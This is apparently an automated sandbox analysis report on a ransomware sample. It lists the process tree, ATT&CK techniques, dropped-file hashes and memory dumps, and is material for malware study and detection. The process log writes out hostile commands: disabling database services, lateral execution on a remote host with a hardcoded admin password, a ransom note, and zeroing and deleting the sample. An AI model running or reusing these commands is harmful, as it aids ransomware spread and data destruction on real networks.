- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3328
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2764
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:2024
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:4552
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:5092
- C:\Users\Admin\AppData\Local\Temp\yjp3kvpw.exe
  "C:\Users\Admin\AppData\Local\Temp\yjp3kvpw.exe" \10.127.0.168 -u EDENFIELD\efadmin -p P455w0rd -d -f -h -s -n 2 -c C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5124
- C:\Windows\SysWOW64\arp.exe
  "arp" -a
  2⤵
  PID:5332
- C:\Windows\SysWOW64\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:5040
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:4816
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5588
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:2284
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:1432
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  PID:6072
- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:4824

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ulq2jgjq.lvr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\yjp3kvpw.exe

Filesize
219KB

MD5
b1dfb4f9eb3e598d1892a3bd3a92f079

SHA1
0fc135b131d0bb47c9a0aaf02490701303b76d3b

SHA256
ab50d8d707b97712178a92bbac74ccc2a5699eb41c17aa77f713ff3e568dcedb

SHA512
98454df86ddddf20e0b7bd19566006dbec431326e8aa57600aff460e9bec3e6489e43e95be3b252bf78a2edd5c203254508e9b55e756b680c100560664278ca2

Download Submit
C:\Users\Admin\AppData\Local\Temp\yjp3kvpw.exe

Filesize
219KB

MD5
b1dfb4f9eb3e598d1892a3bd3a92f079

SHA1
0fc135b131d0bb47c9a0aaf02490701303b76d3b

SHA256
ab50d8d707b97712178a92bbac74ccc2a5699eb41c17aa77f713ff3e568dcedb

SHA512
98454df86ddddf20e0b7bd19566006dbec431326e8aa57600aff460e9bec3e6489e43e95be3b252bf78a2edd5c203254508e9b55e756b680c100560664278ca2

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
0c001d60937948b948a3c98adac9db9c

SHA1
a40afd5487d589e85caecc1f9578e3ec9044fffa

SHA256
3eb448ed49c3fe56ef5702b73f6a77afd0a24c1503c3d15a505966693f3a520f

SHA512
591c2779dd000c21be9c5f5eadad5af00e3cd39caa9d493496a3bbe4b3f0007d0ae86e8ca4d3d059a61305ebac916e6ba00e120b2ea4de15fc6f654374ef39a4

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
0c001d60937948b948a3c98adac9db9c

SHA1
a40afd5487d589e85caecc1f9578e3ec9044fffa

SHA256
3eb448ed49c3fe56ef5702b73f6a77afd0a24c1503c3d15a505966693f3a520f

SHA512
591c2779dd000c21be9c5f5eadad5af00e3cd39caa9d493496a3bbe4b3f0007d0ae86e8ca4d3d059a61305ebac916e6ba00e120b2ea4de15fc6f654374ef39a4

Download Submit
memory/1340-134-0x0000000004B10000-0x0000000004B20000-memory.dmp

Filesize
64KB

Download
memory/1340-140-0x00000000062F0000-0x0000000006356000-memory.dmp

Filesize
408KB

Download
memory/1340-133-0x00000000000D0000-0x00000000000EC000-memory.dmp

Filesize
112KB

Download
memory/4524-145-0x0000000005460000-0x0000000005482000-memory.dmp

Filesize
136KB

Download
memory/4524-215-0x0000000007D90000-0x000000000840A000-memory.dmp

Filesize
6.5MB

Download
memory/4524-174-0x0000000006430000-0x000000000644E000-memory.dmp

Filesize
120KB

Download
memory/4524-188-0x0000000004F20000-0x0000000004F30000-memory.dmp

Filesize
64KB

Download
memory/4524-143-0x0000000005560000-0x0000000005B88000-memory.dmp

Filesize
6.2MB

Download
memory/4524-146-0x0000000005B90000-0x0000000005BF6000-memory.dmp

Filesize
408KB

Download
memory/4524-195-0x00000000069F0000-0x0000000006A22000-memory.dmp

Filesize
200KB

Download
memory/4524-199-0x000000006FB40000-0x000000006FB8C000-memory.dmp

Filesize
304KB

Download
memory/4524-210-0x00000000069D0000-0x00000000069EE000-memory.dmp

Filesize
120KB

Download
memory/4524-155-0x0000000004F20000-0x0000000004F30000-memory.dmp

Filesize
64KB

Download
memory/4524-216-0x0000000007740000-0x000000000775A000-memory.dmp

Filesize
104KB

Download
memory/4524-223-0x00000000077B0000-0x00000000077BA000-memory.dmp

Filesize
40KB

Download
memory/4524-224-0x000000007FD20000-0x000000007FD30000-memory.dmp

Filesize
64KB

Download
memory/4524-232-0x00000000079C0000-0x0000000007A56000-memory.dmp

Filesize
600KB

Download
memory/4524-252-0x0000000007970000-0x000000000797E000-memory.dmp

Filesize
56KB

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memory/4524-256-0x0000000007A80000-0x0000000007A9A000-memory.dmp

Filesize
104KB

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memory/4524-258-0x0000000007A60000-0x0000000007A68000-memory.dmp

Filesize
32KB

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memory/4524-138-0x0000000004F20000-0x0000000004F30000-memory.dmp

Filesize
64KB

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memory/4524-137-0x0000000004E70000-0x0000000004EA6000-memory.dmp

Filesize
216KB

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